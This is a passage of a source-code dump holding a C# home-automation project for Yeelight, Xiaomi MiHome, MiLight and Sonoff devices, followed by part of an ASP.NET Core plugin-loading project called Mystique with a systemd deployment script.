mTcpClient.Client.Send(data);
//Toggle
State = !State;
/* Receive Bulb Reponse
byte[] buffer = new Byte[256];
m_TcpClient.Client.Receive(buffer);
Console.WriteLine(Encoding.ASCII.GetString(buffer));
*/
}
public bool IsOn => State;
public void SwitchOn()
{
ExecCommand("set_power", "\"on\"", 500);
State = true;
}
public void SwitchOff()
{
ExecCommand("set_power", "\"off\"", 500);
State = false;
}
public void SetBrightness(int value, int smooth)
{
StringBuilder cmd_str = new StringBuilder();
cmd_str.Append("{\"id\":");
cmd_str.Append(Id);
cmd_str.Append(",\"method\":\"set_bright\",\"params\":[");
cmd_str.Append(value);
cmd_str.Append(", \"smooth\", " + smooth + "]}\r\n");
byte[] data = Encoding.ASCII.GetBytes(cmd_str.ToString());
mTcpClient.Client.Send(data);
//Apply Value
Brightness = value;
}
public void SetColor(int r, int g, int b, int smooth)
{
//Convert r,g,b into integer 0x00RRGGBB no alpha
int value = ((r) << 16) | ((g) << 8) | (b);
StringBuilder cmd_str = new StringBuilder();
cmd_str.Append("{\"id\":");
cmd_str.Append(Id);
cmd_str.Append(",\"method\":\"set_rgb\",\"params\":[");
cmd_str.Append(value);
cmd_str.Append(", \"smooth\", " + smooth + "]}\r\n");
byte[] data = Encoding.ASCII.GetBytes(cmd_str.ToString());
mTcpClient.Client.Send(data);
}
public void ExecCommand(string method, string param, int smooth)
{
StringBuilder cmd_str = new StringBuilder();
cmd_str.Append("{\"id\":");
cmd_str.Append(Id);
cmd_str.Append(",\"method\":\"" + method + "\",\"params\":[");
cmd_str.Append(param);
cmd_str.Append(", \"smooth\", " + smooth + "]}\r\n");
//Console.WriteLine(cmd_str);
byte[] data = Encoding.ASCII.GetBytes(cmd_str.ToString());
mTcpClient.Client.Send(data);
}
}
}
<file_sep>/PlanckHome/ILightBulb.cs
using System;
using System.Collections.Generic;
using System.Linq;
using Timer = System.Timers.Timer;
namespace PlanckHome
{
public class LightSetting
{
public LightSetting(IDimmableLightBulb lightBulb, int brightness)
{
LightBulb = lightBulb;
Brightness = brightness;
}
public IDimmableLightBulb LightBulb { get; }
public int Brightness { get; }
public void Apply()
{
LightBulb.SetBrightness(Brightness);
if(Brightness == 0) LightBulb.SwitchOff();
}
}
public class LightScene
{
private readonly IEnumerable<LightSetting> mLightSettings;
public LightScene(IEnumerable<LightSetting> lightSettings)
{
mLightSettings = lightSettings;
}
public void Apply()
{
foreach (var setting in mLightSettings)
{
setting.Apply();
}
}
}
public class LightSceneSwitcher
{
private readonly List<LightScene> mScenes;
private LightScene mActiveScene;
public LightSceneSwitcher(IReadOnlyList<LightScene> scenes, ISwitch @switch)
{
mScenes = scenes.ToList();
mActiveScene = mScenes[0];
@switch.Clicked += OnClicked;
}
private void OnClicked(object o, EventArgs eventArgs)
{
var currentIndex = mScenes.IndexOf(mActiveScene);
var index = currentIndex + 1;
if (index > mScenes.Count - 1) index = 0;
mActiveScene = mScenes[index];
mActiveScene.Apply();
}
}
public class AutomaticOffTimer
{
private readonly ILightBulb mBulb;
public AutomaticOffTimer(ILightBulb bulb)
{
mBulb = bulb;
}
public void Run(TimeSpan offAfter)
{
mBulb.SwitchOn();
var timer = new Timer(offAfter.TotalMilliseconds);
timer.Elapsed += (sender, args) =>
{
timer.Stop();
mBulb.SwitchOff();
};
timer.Start();
}
}
public interface IDimmableLightBulb : ILightBulb
{
void SetBrightness(int percentage);
}
public interface ILightBulb
{
bool IsOn { get; }
void SwitchOn();
void SwitchOff();
void Toggle();
}
}<file_sep>/MiControl/MiControl/Devices/SocketPlug.cs
using System.Globalization;
using MiControl.Commands;
using Newtonsoft.Json.Linq;
namespace MiControl.Devices
{
public class SocketPlug : MiHomeDevice
{
private readonly UdpTransport _transport;
public SocketPlug(string sid, UdpTransport transport) : base(sid, "plug")
{
_transport = transport;
}
public string Status { get; private set; }
public int? Inuse { get; private set; }
public int? PowerConsumed { get; private set; }
public float? LoadPower { get; private set; }
public override string ToString()
{
return $"Status: {Status}, Inuse: {Inuse}, Load Power: {LoadPower}V, Power Consumed: {PowerConsumed}W, Voltage: {Voltage}V";
}
public void TurnOff()
{
_transport.SendWriteCommand(Sid, Type, new SocketPlugCommand("off"));
}
public void TurnOn()
{
_transport.SendWriteCommand(Sid, Type, new SocketPlugCommand());
}
public override void ParseData(JObject data)
{
if (data["inuse"] != null && int.TryParse(data["inuse"].ToString(), out int inuse))
{
Inuse = inuse;
}
if (data["power_consumed"] != null && int.TryParse(data["power_consumed"].ToString(), out int powerConsumed))
{
PowerConsumed = powerConsumed;
}
if (data["load_power"] != null && float.TryParse(data["load_power"].ToString(), NumberStyles.Any, CultureInfo.InvariantCulture.NumberFormat, out float loadPower))
{
LoadPower = loadPower;
}
if (data["status"] != null)
{
Status = data["status"].ToString();
}
}
}
}<file_sep>/MiControl/MiControl/Devices/TempSensor.cs
using System;
using MiControl.Events;
using Newtonsoft.Json.Linq;
namespace MiControl.Devices
{
public class TempSensor : MiHomeDevice
{
public TempSensor(string sid) : base(sid, "weather.v1") {}
public event EventHandler<TemperatureEventArgs> OnTemperatureChange;
public event EventHandler<HumidityEventArgs> OnHumidityChange;
public override void ParseData(JObject data)
{
if (data["temperature"] != null && float.TryParse(data["temperature"].ToString(), out float t))
{
var newTemperature = t / 100;
if (Temperature != null && Math.Abs(newTemperature - Temperature.Value) > 0.01)
{
OnTemperatureChange?.Invoke(this, new TemperatureEventArgs(newTemperature));
}
Temperature = newTemperature;
}
if (data["humidity"] != null && float.TryParse(data["humidity"].ToString(), out float h))
{
var newHumidity = h / 100;
if (Humidity != null && Math.Abs(newHumidity - Humidity.Value) > 0.01)
{
OnHumidityChange?.Invoke(this, new HumidityEventArgs(newHumidity));
}
Humidity = newHumidity;
}
}
public float? Humidity { get; set; }
public float? Temperature { get; set; }
public DateTime? MotionDate { get; private set; }
public override string ToString()
{
return $"Voltage: {Voltage}V";
}
}
}<file_sep>/MiControl/MiControl/Devices/MiHomeDevice.cs
using Newtonsoft.Json.Linq;
namespace MiControl.Devices
{
public abstract class MiHomeDevice
{
public string Sid { get; }
public string Name { get; set; }
public string CustomName { get; set; }
public string Type { get; }
public float? Voltage { get; private set; }
protected MiHomeDevice(string sid, string type)
{
Sid = sid;
Type = type;
}
public virtual void ParseData(string command)
{
var jObject = JObject.Parse(command);
if (jObject["voltage"] != null && float.TryParse(jObject["voltage"].ToString(), out float v))
{
Voltage = v / 1000;
}
ParseData(jObject);
}
public abstract void ParseData(JObject data);
}
}<file_sep>/MiControl/MiControl/Devices/SensorSwitch.cs
using System;
using Newtonsoft.Json.Linq;
using PlanckHome;
namespace MiControl.Devices
{
public class SensorSwitch :
MiHomeDevice,
ISwitch
{
public event EventHandler<EventArgs> Clicked;
public SensorSwitch(string sid) : base(sid, (string)"sensor_switch.aq2") { }
public override void ParseData(JObject data)
{
if (data["status"] != null && data["status"].ToString() == "click")
{
Clicked?.Invoke(this, EventArgs.Empty);
}
}
public override string ToString()
{
return $"{(!string.IsNullOrEmpty(Name) ? "Name: " + Name + ", " : string.Empty)}, Voltage: {Voltage}V";
}
}
}<file_sep>/Sonoff/SonoffSwitch.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using PlanckHome;
namespace Sonoff
{
public class SonoffSwitch : ILightBulb
{
private readonly string mIpAddress;
public SonoffSwitch(string ipAddress)
{
this.mIpAddress = ipAddress;
}
public bool IsOn { get; private set; }
public void SwitchOn()
{
_SendCommand("Power%20On");
IsOn = true;
}
public void SwitchOff()
{
_SendCommand("Power%20Off");
IsOn = false;
}
public void Toggle()
{
if (IsOn)
{
SwitchOff();
}
else
{
SwitchOn();
}
}
private void _SendCommand(string cmd)
{
var foo = new WebClient();
foo.DownloadString($"http://{mIpAddress}/cm?cmnd={cmd}");
}
}
}
<file_sep>/Playground/Devices.cs
using System.Collections.Generic;
using MiControl.Devices;
using MiLight;
using Sonoff;
using YeeLight;
namespace Playground
{
public static class Devices
{
public static void Initialize(MiLightGateway miLightGateway)
{
//Sonoff Switches
ChristmasLights = new SonoffSwitch("192.168.10.84");
KitchenLights = new SonoffSwitch("192.168.10.81");
GlobusLight = new SonoffSwitch("192.168.10.81"); //TODO IP
BedLightBalls = new SonoffSwitch("192.168.10.81");//TODO IP
//Yee Light Devices
LightHallway = new YeelightDevice("192.168.10.77", "0x000000000361df8b", false, 0, "mono");
StripeA = new YeelightDevice("192.168.10.75", "0x000000000361afc3", false, 0, "stripe");
StripeB = new YeelightDevice("192.168.10.74", "0x0000000004555e6d", false, 0, "stripe");
//Mi Light Devices
BulbA = new MiBulb(miLightGateway, 1);
BulbB = new MiBulb(miLightGateway, 2);
BulbC = new MiBulb(miLightGateway, 3);
//Mi Home Devices
DoorBathroom = new DoorWindowSensor("158d0001e037e5") { CustomName = "Badezimmertür" };
ApartmentDoor = new DoorWindowSensor("158d0001a5db48") { CustomName = "Wohnungstür" };
SwitchA = new SimpleSwitch("158d00019dbac7") { CustomName = "Switch A" };
SwitchB = new SimpleSwitch("158d00016da2ed") { CustomName = "Switch B" };
MotionBathroom = new MotionSensor("158d0001d87940") { CustomName = "Motion Bathroom" };
MotionHall = new MotionSensor("158d0001d47c2f") { CustomName = "Motion Hall" };
MotionLivingRoom = new MotionSensor("158d00014dc328") { CustomName = "Motion Living Room" };
SwitchC = new SensorSwitch("158d0001b86fed") { CustomName = "Switch C" };
SwitchD = new SensorSwitch("158d0001b86f59") { CustomName = "SwitchD" };
WaterLeakBathroom = new WaterLeakSensor("158d0001bb89e9") { CustomName = "Water Leak" };
TempSensorLivingRoom = new TempSensor("158d0001b7edbb") { CustomName = "Temperatur Wohnzimmer" };
SwitchE = new DoubleKeySwitch("158d0001718576") { CustomName = "Switch Wandregal" };
}
//Sonoff Switches
public static SonoffSwitch BedLightBalls { get; private set; }
public static SonoffSwitch GlobusLight { get; private set; }
public static SonoffSwitch KitchenLights { get; private set; }
public static SonoffSwitch ChristmasLights { get; private set; }
//Yee Light Devices
public static YeelightDevice LightHallway { get; set; }
public static YeelightDevice StripeA { get; set; }
public static YeelightDevice StripeB { get; set; }
//Mi Light Devices
public static MiBulb BulbA { get; private set; }
public static MiBulb BulbB { get; private set; }
public static MiBulb BulbC { get; private set; }
//Mi Home Devices
public static DoubleKeySwitch SwitchE { get; private set; }
public static TempSensor TempSensorLivingRoom { get; private set; }
public static WaterLeakSensor WaterLeakBathroom { get; private set; }
public static SensorSwitch SwitchD { get; private set; }
public static SensorSwitch SwitchC { get; private set; }
public static MotionSensor MotionHall { get; private set; }
public static MotionSensor MotionLivingRoom { get; private set; }
public static MotionSensor MotionBathroom { get; private set; }
public static SimpleSwitch SwitchB { get; private set; }
public static SimpleSwitch SwitchA { get; private set; }
public static DoorWindowSensor ApartmentDoor { get; private set; }
public static DoorWindowSensor DoorBathroom { get; private set; }
public static IReadOnlyList<MiHomeDevice> MiHomeDevices => new MiHomeDevice[]
{
SwitchE,
TempSensorLivingRoom,
WaterLeakBathroom,
SwitchD,
SwitchC,
MotionHall,
MotionLivingRoom,
MotionBathroom,
SwitchB,
SwitchA,
ApartmentDoor,
DoorBathroom
};
}
}<file_sep>/MiControl/MiControl/Devices/DoorWindowSensor.cs
using System;
using Newtonsoft.Json.Linq;
using PlanckHome;
namespace MiControl.Devices
{
public class DoorWindowSensor :
MiHomeDevice,
IDoorSensor
{
public event EventHandler Opened;
public event EventHandler Closed;
public DoorWindowSensor(string sid) : base(sid, "magnet") { }
public string Status { get; private set; }
public override void ParseData(JObject data)
{
if (data["status"] == null) return;
Status = data["status"].ToString();
switch (Status)
{
case "open":
Opened?.Invoke(this, EventArgs.Empty);
break;
case "close":
Closed?.Invoke(this, EventArgs.Empty);
break;
}
}
public override string ToString()
{
return $"Status: {Status}, Voltage: {Voltage}V";
}
}
}<file_sep>/Playground/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using MiControl;
using MiLight;
using PlanckHome;
using Playground.Rooms;
using YeeLight;
namespace Playground
{
class Program
{
private static MiHome _miHome;
private static MiLightGateway _miLightGateway;
public static void Main(string[] args)
{
//Console.ReadLine();
_InitializeMiLight();
Devices.Initialize(_miLightGateway);
_miHome = new MiHome(
gatewayPassword: "<PASSWORD>",
gatewaySid: "34ce00fa5c3c",
wellKwownDevices: Devices.MiHomeDevices);
Devices.LightHallway.SwitchOff();
//miHome.GetGateway().StartPlayMusic(3);
//Task.Delay(2000).Wait();
//miHome.GetGateway().StartPlayMusic(2);
//Task.Delay(2000).Wait();
//miHome.GetGateway().StartPlayMusic(5);
//miHome.GetGateway().EnableLight(255, 0, 255, 1000);
Devices.TempSensorLivingRoom.OnTemperatureChange += (sender, eventArgs) =>
{
Console.WriteLine($"Temperature: {eventArgs.Temperature} °C");
};
Devices.MotionHall.MotionDetected += (sender, eventArgs) =>
{
Console.WriteLine("Motion Hall");
Devices.LightHallway.SwitchOn(TimeSpan.FromSeconds(90));
};
Devices.MotionLivingRoom.MotionDetected += (sender, eventArgs) =>
{
Console.WriteLine("Motion Living Room");
};
Devices.MotionBathroom.MotionDetected += (sender, eventArgs) =>
{
Console.WriteLine("Motion Bathroom");
};
var foo = new LightSceneSwitcher(new []
{
new LightScene(new []
{
new LightSetting(LivingRoom.MainLight, 0),
new LightSetting(LivingRoom.LampLight, 0),
}),
new LightScene(new []
{
new LightSetting(LivingRoom.MainLight, 50),
new LightSetting(LivingRoom.LampLight, 50),
}),
new LightScene(new []
{
new LightSetting(LivingRoom.MainLight, 100),
new LightSetting(LivingRoom.LampLight, 50),
}),
new LightScene(new []
{
new LightSetting(LivingRoom.MainLight, 50),
new LightSetting(LivingRoom.LampLight, 100),
}),
new LightScene(new []
{
new LightSetting(LivingRoom.MainLight, 100),
new LightSetting(LivingRoom.LampLight, 100),
}),
}, Devices.SwitchA);
Devices.SwitchA.Clicked += (sender, eventArgs) =>
{
Console.WriteLine($"Switch A clicked");
};
Devices.SwitchB.Clicked += (sender, eventArgs) =>
{
Console.WriteLine($"Switch B clicked");
};
Devices.SwitchC.Clicked += (sender, eventArgs) =>
{
Console.WriteLine($"Switch C clicked");
Devices.BulbA.Toggle();
Devices.LightHallway.SwitchOff();
Devices.ChristmasLights.Toggle();
};
Devices.SwitchD.Clicked += (sender, eventArgs) =>
{
Console.WriteLine($"Switch D clicked");
Devices.BulbC.Toggle();
Devices.LightHallway.SwitchOn();
Devices.KitchenLights.Toggle();
};
LivingRoom.LightSwitch.OnLeftKeyClicked += (sender, eventArgs) =>
{
Console.WriteLine($"Left Key Clicked");
LivingRoom.MainLight.Toggle();
};
LivingRoom.LightSwitch.OnRightKeyClicked += (sender, eventArgs) =>
{
Console.WriteLine($"Right Key Clicked");
LivingRoom.LampLight.Toggle();
};
Console.ReadLine();
_miHome.Dispose();
}
private static void _InitializeMiLight()
{
_miLightGateway = new MiLightGateway("192.168.10.36");
}
private static void _DiscoverYeelightDevices()
{
var devicesDiscovery = new DevicesDiscovery();
devicesDiscovery.StartListening();
devicesDiscovery.SendDiscoveryMessage();
Thread.Sleep(5000);
var yeelightDevices = devicesDiscovery.GetDiscoveredDevices();
Console.WriteLine("******************** Discovered Devices **************************");
foreach (var device in yeelightDevices)
{
Console.WriteLine($" - {device.Ip}, {device.Id}, {device.Model}");
}
}
}
}
<file_sep>/YeeLight/YeeLight/DevicesDiscovery.cs
using System;
using System.Collections.Generic;
using System.Diagnostics.Contracts;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
// SSDP reference : https://searchcode.com/codesearch/view/8152089/ /DeviceFinder.SSDP.cs
namespace YeeLight
{
public class DevicesDiscovery
{
//List of all discovered bulbs
private readonly List<YeelightDevice> mBulbs;
//Socket for SSDP
private Socket _ssdpSocket;
private byte[] _ssdpReceiveBuffer;
//Udp port used during the ssdp discovers
private static readonly int m_Port = 1982;
//MultiCastEndPoint
private static readonly IPEndPoint LocalEndPoint = new IPEndPoint(Utils.GetLocalIPAddress(), 0);
private static readonly IPEndPoint MulticastEndPoint = new IPEndPoint(IPAddress.Parse("192.168.127.12"), 1982);
private static readonly IPEndPoint AnyEndPoint = new IPEndPoint(IPAddress.Any, 0);
//SSDP Diagram Message
private static readonly string ssdpMessage = "M-SEARCH * HTTP/1.1\r\nHOST: 192.168.127.12:1982\r\nMAN: \"ssdp:discover\"\r\nST: wifi_bulb";
private static readonly byte[] dgram = Encoding.ASCII.GetBytes(ssdpMessage);
public DevicesDiscovery()
{
mBulbs = new List<YeelightDevice>();
}
public List<YeelightDevice> GetDiscoveredDevices()
{
return mBulbs;
}
public void SendDiscoveryMessage()
{
// send message
for (int i = 0; i < 3; i++)
{
if (i > 0)
Thread.Sleep(50);
var async = _ssdpSocket.BeginSendTo(
dgram,
0,
dgram.Length,
SocketFlags.None,
MulticastEndPoint,
o =>
{
var r = _ssdpSocket.EndSendTo(o);
if (r != dgram.Length)
{
Console.Write(
"Sent SSDP discovery request length mismatch: {0} != {1} (expected)",
r,
dgram.Length
);
}
},
null
);
async.AsyncWaitHandle.WaitOne();
}
}
private void ReceiveResponseRecursive(IAsyncResult r = null)
{
Contract.Requires(r == null || _ssdpReceiveBuffer != null);
Contract.Ensures(_ssdpReceiveBuffer != null);
// check if there is an response
// or this is the first call
if (r != null)
{
// complete read
EndPoint senderEndPoint = AnyEndPoint;
var read = _ssdpSocket.EndReceiveFrom(
r,
ref senderEndPoint
);
// parse result
var resBuf = _ssdpReceiveBuffer; // make sure we don't reuse the reference
new Task(
() => HandleResponse(senderEndPoint, Encoding.ASCII.GetString(resBuf, 0, read))
).Start();
}
// trigger the next cycle
// tail recursion
EndPoint recvEndPoint = LocalEndPoint;
_ssdpReceiveBuffer = new byte[4096];
_ssdpSocket.BeginReceiveFrom(
_ssdpReceiveBuffer,
0,
_ssdpReceiveBuffer.Length,
SocketFlags.None,
ref recvEndPoint,
ReceiveResponseRecursive,
null
);
}
/// <summary>
/// Function asynchrone to discovers all buls in the network
/// Discovered bulbs are added to the list on the MainWindow
/// </summary>
public void StartListening()
{
// create socket
_ssdpSocket = new Socket(
AddressFamily.InterNetwork,
SocketType.Dgram,
ProtocolType.Udp
)
{
Blocking = false,
Ttl = 1,
UseOnlyOverlappedIO = true,
MulticastLoopback = false,
};
IPAddress localIpAddress = Utils.GetLocalIPAddress();
Console.WriteLine("Mon ip: " + localIpAddress);
_ssdpSocket.Bind(new IPEndPoint(localIpAddress, 0));
_ssdpSocket.SetSocketOption(
SocketOptionLevel.IP,
SocketOptionName.AddMembership,
new MulticastOption(MulticastEndPoint.Address)
);
// start listening
ReceiveResponseRecursive();
}
private void HandleResponse(EndPoint sender, string response)
{
Contract.Requires(sender != null);
Contract.Requires(response != null);
string ip = "";
Utils.GetSubString(response, "Location: yeelight://", ":", ref ip);
//Console.WriteLine(response);
lock (mBulbs)
{
//if list already contains this bulb skip
bool alreadyExisting = mBulbs.Any(item => item.Ip == ip);
if (alreadyExisting == false)
{
string id = "";
Utils.GetSubString(response, "id: ", "\r\n", ref id);
string bright = "";
Utils.GetSubString(response, "bright: ", "\r\n", ref bright);
string power = "";
Utils.GetSubString(response, "power: ", "\r\n", ref power);
bool isOn = power.Contains("on");
string model = "";
Utils.GetSubString(response, "model: ", "\r\n", ref model);
mBulbs.Add(new YeelightDevice(ip, id, isOn, Convert.ToInt32(bright), model));
}
}
}
}
}
<file_sep>/MiControl/MiControl/Devices/DoubleKeySwitch.cs
using System;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace MiControl.Devices
{
public class DoubleKeySwitch : MiHomeDevice
{
public event EventHandler<EventArgs> OnLeftKeyClicked;
public event EventHandler<EventArgs> OnRightKeyClicked;
public DoubleKeySwitch(string sid) : base(sid, "86sw2") { }
public override void ParseData(JObject data)
{
if (data["channel_0"] != null)
{
var channel0 = data["channel_0"].ToString();
if (channel0 == "click")
{
OnLeftKeyClicked?.Invoke(this, EventArgs.Empty);
}
}
if (data["channel_1"] != null)
{
var channel1 = data["channel_1"].ToString();
if (channel1 == "click")
{
OnRightKeyClicked?.Invoke(this, EventArgs.Empty);
}
}
}
public override string ToString()
{
return $"{(!string.IsNullOrEmpty(Name) ? "Name: " + Name + ", " : string.Empty)}, Voltage: {Voltage}V";
}
}
}<file_sep>/PlanckHome/LightBulbExtensions.cs
using System;
namespace PlanckHome
{
public static class LightBulbExtensions
{
public static void SwitchOn(this ILightBulb lightBulb, TimeSpan offAfter)
{
var timer = new AutomaticOffTimer(lightBulb);
timer.Run(offAfter);
}
}
}<file_sep>/Playground/Rooms/LivingRoom.cs
using MiControl.Devices;
using MiLight;
using PlanckHome;
namespace Playground.Rooms
{
public static class LivingRoom
{
public static IMotionSensor MotionSensor => Devices.MotionLivingRoom;
public static IDimmableLightBulb MainLight => Devices.BulbA;
public static IDimmableLightBulb LampLight => Devices.BulbB;
public static DoubleKeySwitch LightSwitch => Devices.SwitchE;
}
}<file_sep>/YeeLight/YeeLight/Utils.cs
using System;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
namespace YeeLight
{
class Utils
{
/// <summary>
/// Function to get a sub part of a string, exemple : startexempleend, by using "start" as begin param and "end" as end param, you receive "exemple"
/// Return false if no match
/// </summary>
/// <param name="str"></param>
/// <param name="begin"></param>
/// <param name="end"></param>
/// <param name="ret"></param>
/// <returns></returns>
public static bool GetSubString(string str, string begin, string end, ref string ret)
{
int beginId = -1;
int endId = -1;
beginId = str.IndexOf(begin);
if (beginId != -1)
{
ret = str.Substring(beginId + begin.Length);
endId = ret.IndexOf(end);
ret = ret.Substring(0, endId);
return true;
}
return false;
}
public static IPAddress GetLocalIPAddress()
{
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
var addr = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
if (addr != null && !addr.Address.ToString().Equals("0.0.0.0"))
{
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet)
{
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
{
if (ip.Address.AddressFamily == AddressFamily.InterNetwork) {
return ip.Address;
}
}
}
}
}
throw new Exception("Local IP Address Not Found!");
}
}
}
<file_sep>/MiControl/MiControl/Commands/Command.cs
namespace MiControl.Commands
{
public abstract class Command
{
public abstract override string ToString();
}
}<file_sep>/Playground/Rooms/Kitchen.cs
using PlanckHome;
namespace Playground.Rooms
{
public static class Kitchen
{
public static ILightBulb MainLight { get; }
public static ILightBulb CabinatLight { get; }
}
}<file_sep>/PlanckHome/LightDimmer.cs
using System.Threading;
using System.Threading.Tasks;
namespace PlanckHome
{
public class LightDimmer
{
private readonly IDimmableLightBulb mDimmableLight;
private CancellationTokenSource mCancellation = new CancellationTokenSource();
private int mBrightness = 0;
public LightDimmer(IDimmableLightBulb dimmableLight)
{
mDimmableLight = dimmableLight;
}
public void TransitionTo(int brightness)
{
}
public async Task Ramp()
{
while (!mCancellation.IsCancellationRequested)
{
mBrightness++;
mDimmableLight.SetBrightness(mBrightness);
await Task.Delay(100, mCancellation.Token);
}
}
public void RampUp()
{
mCancellation = new CancellationTokenSource();
Task.Factory.StartNew(Ramp, mCancellation.Token);
}
public void RampDown()
{
mCancellation = new CancellationTokenSource();
Task.Factory.StartNew(Ramp, mCancellation.Token);
}
public void Hold()
{
mCancellation.Cancel();
}
}
}<file_sep>/MiControl/MiControl/Devices/MotionSensor.cs
using System;
using MiControl.Events;
using Newtonsoft.Json.Linq;
using PlanckHome;
namespace MiControl.Devices
{
public class MotionSensor :
MiHomeDevice,
IMotionSensor
{
public event EventHandler MotionDetected;
public event EventHandler<NoMotionEventArgs> OnNoMotion;
public MotionSensor(string sid) : base(sid, "motion") {}
public string Status { get; private set; }
public int NoMotion { get; set; }
public DateTime? LastMotionTimestamp { get; private set; }
public override string ToString()
{
return $"Status: {Status}, Voltage: {Voltage}V, NoMotion: {NoMotion}s";
}
public override void ParseData(JObject data)
{
if (data["status"] != null)
{
Status = data["status"].ToString();
if (Status == "motion")
{
LastMotionTimestamp = DateTime.Now;
MotionDetected?.Invoke(this, EventArgs.Empty);
}
}
if (data["no_motion"] != null)
{
NoMotion = int.Parse(data["no_motion"].ToString());
OnNoMotion?.Invoke(this, new NoMotionEventArgs(NoMotion));
}
}
}
}<file_sep>/MiControl/MiControl/Devices/WaterLeakSensor.cs
using System;
using Newtonsoft.Json.Linq;
namespace MiControl.Devices
{
public class WaterLeakSensor : MiHomeDevice
{
public event EventHandler OnLeak;
public event EventHandler OnNoLeak;
public WaterLeakSensor(string sid) : base(sid, "sensor_wleak.aq1") { }
public string Status { get; private set; }
public override void ParseData(JObject data)
{
if (data["status"] != null)
{
Status = data["status"].ToString();
if (Status == "leak")
{
OnLeak?.Invoke(this, EventArgs.Empty);
}
else if (Status == "no_leak")
{
OnNoLeak?.Invoke(this, EventArgs.Empty);
}
}
}
public override string ToString()
{
return $"Status: {Status}";
}
}
}<file_sep>/PlanckHome/ISwitch.cs
using System;
namespace PlanckHome
{
public interface ISwitch
{
event EventHandler<EventArgs> Clicked;
}
}<file_sep>/Playground/Rooms/Office.cs
using PlanckHome;
namespace Playground.Rooms
{
public static class Office
{
public static ILightBulb LampLight => Devices.BulbC;
}
}<file_sep>/Playground/Rooms/Hallway.cs
using PlanckHome;
namespace Playground.Rooms
{
public static class Hallway
{
public static ILightBulb Light => Devices.LightHallway;
public static IMotionSensor MotionSensor => Devices.MotionHall;
public static IDoorSensor ApartmentDoor => Devices.ApartmentDoor;
}
} | 66dd4994c3f74e6aa900145042236506cddf7dac | [
"C#"
] | 27 | C# | ermac0/mi-home | 9df26da3523a6a54eaec792cb3bcabe8854f3218 | 40d3a88930c6db8023bd13e3311740195831f705 |
refs/heads/master | <repo_name>QJesus/Mystique<file_sep>/Mystique.Core/Contracts/DefaultReferenceLoader.cs
using Microsoft.Extensions.Logging;
using Mystique.Core.Interfaces;
using System.IO;
using System.Linq;
using System.Reflection;
namespace Mystique.Core.Contracts
{
public class DefaultReferenceLoader : IReferenceLoader
{
private readonly IReferenceContainer referenceContainer;
private readonly ILogger<DefaultReferenceLoader> logger;
public DefaultReferenceLoader(IReferenceContainer referenceContainer, ILogger<DefaultReferenceLoader> logger)
{
this.referenceContainer = referenceContainer;
this.logger = logger;
}
public void LoadStreamsIntoContext(CollectibleAssemblyLoadContext context, string moduleFolder, Assembly assembly)
{
var references = assembly.GetReferencedAssemblies();
foreach (var item in references.Where(x => !SharedFrameworkConst.SharedFrameworkDLLs.Contains($"{x.Name}.dll")))
{
var name = item.Name;
var version = item.Version.ToString();
var stream = referenceContainer.GetStream(name, version);
if (stream != null)
{
logger.LogDebug($"Found the cached reference '{name}' v.{version}");
context.LoadFromStream(stream);
continue;
}
var filePath = Path.Combine(moduleFolder, $"{name}.dll");
if (!File.Exists(filePath))
{
logger.LogWarning($"The package '{name}.dll' is missing. {filePath} not exist");
continue;
}
using (var fs = new FileStream(filePath, FileMode.Open))
{
var referenceAssembly = context.LoadFromStream(fs);
var memoryStream = new MemoryStream();
fs.Position = 0;
fs.CopyTo(memoryStream);
fs.Position = 0;
memoryStream.Position = 0;
referenceContainer.SaveStream(name, version, memoryStream);
LoadStreamsIntoContext(context, moduleFolder, referenceAssembly);
}
}
}
}
}<file_sep>/publish.sh
./dotnet publish -r linux-x64 -o /var/www/mystique
cd /etc/systemd/system
echo "[Unit]
Description=Mystique
[Service]
WorkingDirectory=/var/www/mystique
ExecStart=/var/www/mystique/Mystique --urls=http://*:5050
Restart=always
RestartSec=12
KillSignal=SIGINT
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=Mystique
User=root
Environment=ASPNETCORE_ENVIRONMENT=Production
Environment=DOTNET_PRINT_TELEMETRY_MESSAGE=false
[Install]
WantedBy=multi-user.target" >> mystique.service
systemctl restart rsyslog
systemctl enable mystique.service
systemctl start mystique.service
cd -
<file_sep>/Mystique.Core/Interfaces/IPluginManager.cs
using Mystique.Core.DomainModel;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace Mystique.Core.Interfaces
{
public interface IPluginManager
{
Task<List<PluginModel>> GetAllPluginsAsync();
Task<PluginModel> GetPluginAsync(string pluginName);
Task AddPluginsAsync(PluginPackage pluginPackage);
Task RemovePluginAsync(string pluginName);
Task EnablePluginAsync(string pluginName);
Task DisablePluginAsync(string pluginName);
}
}
<file_sep>/Mystique.Core/Interfaces/IMvcPluginSetup.cs
using System.Collections.Generic;
using System.Threading.Tasks;
namespace Mystique.Core.Interfaces
{
public interface IMvcPluginSetup
{
Task<List<PluginModel>> GetPluginsAsync(bool all = false);
Task EnablePluginAsync(PluginModel pluginModel);
Task EnablePluginAsync(string pluginName);
Task DisablePluginAsync(string pluginName);
Task RemovePluginAsync(string pluginName);
}
}
<file_sep>/Mystique/Controllers/HomeController.cs
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.ActionConstraints;
using Microsoft.AspNetCore.Mvc.Controllers;
using Microsoft.AspNetCore.Mvc.Infrastructure;
using Mystique.Models;
using System.Diagnostics;
using System.Linq;
namespace Mystique.Controllers
{
public class HomeController : Controller
{
private readonly IActionDescriptorCollectionProvider actionDescriptorCollectionProvider;
public HomeController(IActionDescriptorCollectionProvider actionDescriptorCollectionProvider)
{
this.actionDescriptorCollectionProvider = actionDescriptorCollectionProvider;
}
public IActionResult Index() => View();
public IActionResult Privacy() => View();
[ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]
public IActionResult Error() => View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier });
[HttpGet]
